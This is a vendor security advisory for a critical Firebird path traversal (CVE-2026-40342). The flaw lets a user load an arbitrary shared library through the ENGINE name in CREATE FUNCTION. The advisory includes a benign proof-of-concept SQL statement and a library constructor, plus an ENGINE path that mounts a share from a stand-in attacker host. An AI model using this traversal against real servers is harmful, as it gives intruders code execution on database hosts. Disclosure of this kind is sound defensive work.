Skip to content

Path traversal when declaring external routine

Critical
dyemanov published GHSA-7pxc-h3rv-r257 Apr 17, 2026

Package

firebird (firebird)

Affected versions

Firebird 5.0.3, 4.0.6, 3.0.13 (and lower)

Patched versions

Firebird 5.0.4, 4.0.7, 3.0.14

Description

1. Summary

When a user runs CREATE FUNCTION ... ENGINE "<name>", Firebird takes the engine name and appends it to the plugins directory to build a filesystem path. It does not check for path separators or .. components, so dlopen() (or LoadLibraryEx() on Windows) ends up loading a shared library from anywhere on the filesystem, not just the plugins folder.

The loaded library's initialization code (constructors on Linux/macOS, DllMain on Windows) runs immediately during load, before Firebird even checks whether the module is a valid plugin. The SQL statement fails with a metadata error, but by that point the code from remote library has already executed inside the server process.

No special configuration makes this worse or better. Unlike the legacy UDF path, which has UdfAccess restrictions, the engine/plugin lookup path has no allowlist, no realpath() check, and no config option to lock it down.

This vulnerability becomes specially dangerous in a case when ExternalFileAccess parameter in firebird.conf is set to non-default value, enabling write to host's filesystem with later execution of written file.


2. CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 10.0 Critical

Metric Value Why
AV Network Reachable over the Firebird wire protocol (TCP 3050 by default)
AC Low One DDL statement, no race or special timing
PR Low Needs CREATE FUNCTION (commonly granted to app-level roles)
UI None Fully automated, no user clicks
S Changed Breaks out of SQL/DB context into the host OS
C / I / A High Full process-level access as the service account

3. At a glance

Bug class Path traversal (CWE-22) leading to code execution (CWE-94 / CWE-427)
Where CREATE FUNCTION ... ENGINE "<name>", the external engine plugin loader
Root cause The engine name is concatenated into plugins/<name> with no filtering of /, \, or ..
Who can trigger it Any user with CREATE FUNCTION (grants vary per deployment)
Platforms Linux, macOS, Windows
Config needed None, works against a default firebird.conf

4. Tested against

Product Firebird SQL Server
Vendor Firebird Foundation
Version tested 5.0.2 (LI-V5.0.2.1613)
Protocol Firebird wire protocol, TCP 3050
Source code https://github.com/FirebirdSQL/firebird

5. How it works

The code path

  1. The engine name comes in as a quoted SQL identifier. Firebird does not restrict which characters are allowed here.
  2. PluginLoadInfo in src/yvalve/PluginManager.cpp calls getPrefix(DIR_PLUGINS, engineName), which just does string concatenation: <install_root>/plugins/<engineName>.
  3. That string goes straight to dlopen(). The OS resolves .. segments, so the path walks right out of the plugins directory.
  4. Any constructor or init routine in the loaded library runs during dlopen(), before Firebird checks for a _firebird_plugin symbol and rejects the module.

Why UdfAccess does not help

Firebird has long had path restrictions for legacy UDFs (UdfAccess = None | Restrict | Full). The engine/plugin loader does not go through that check. There is no equivalent setting for ENGINE names in affected versions.

What the attacker gets

Code execution as whatever OS account runs the Firebird process. That is typically firebird on bare-metal Linux, root in many container images, or SYSTEM on Windows services. From there it is straightforward to read databases, pivot, or persist.

Getting a library onto the target (practical notes)

  • Simplest case: a shared object already exists at a known path (uploaded through an application, dropped in /tmp by another process, etc.).
  • On systems with autofs -hosts maps (default on older macOS, common on enterprise Linux), an ENGINE path like ../../../../net/ATTACKER_IP/share/evil triggers a network mount. No file placement needed at all.

6. Minimal reproduction

Compile a tiny shared object with a constructor:

#include <stdio.h>

struct Marker {
    Marker() { puts("<<< constructor executed >>>"); }
};

static Marker m;

Then, from any SQL client connected as a user with CREATE FUNCTION:

create or alter function evil (val int) returns int
  external name 'udf_compat!UC_frac'
  engine "../../../../../../mnt/evil.so";

Running this in embedded mode (server normally swallows stdout & stderr) you will see <<< constructor executed >>> printed before the DDL fails with "Standard plugin entrypoint does not exist." The constructor already ran. That is the security impact.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-40342

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits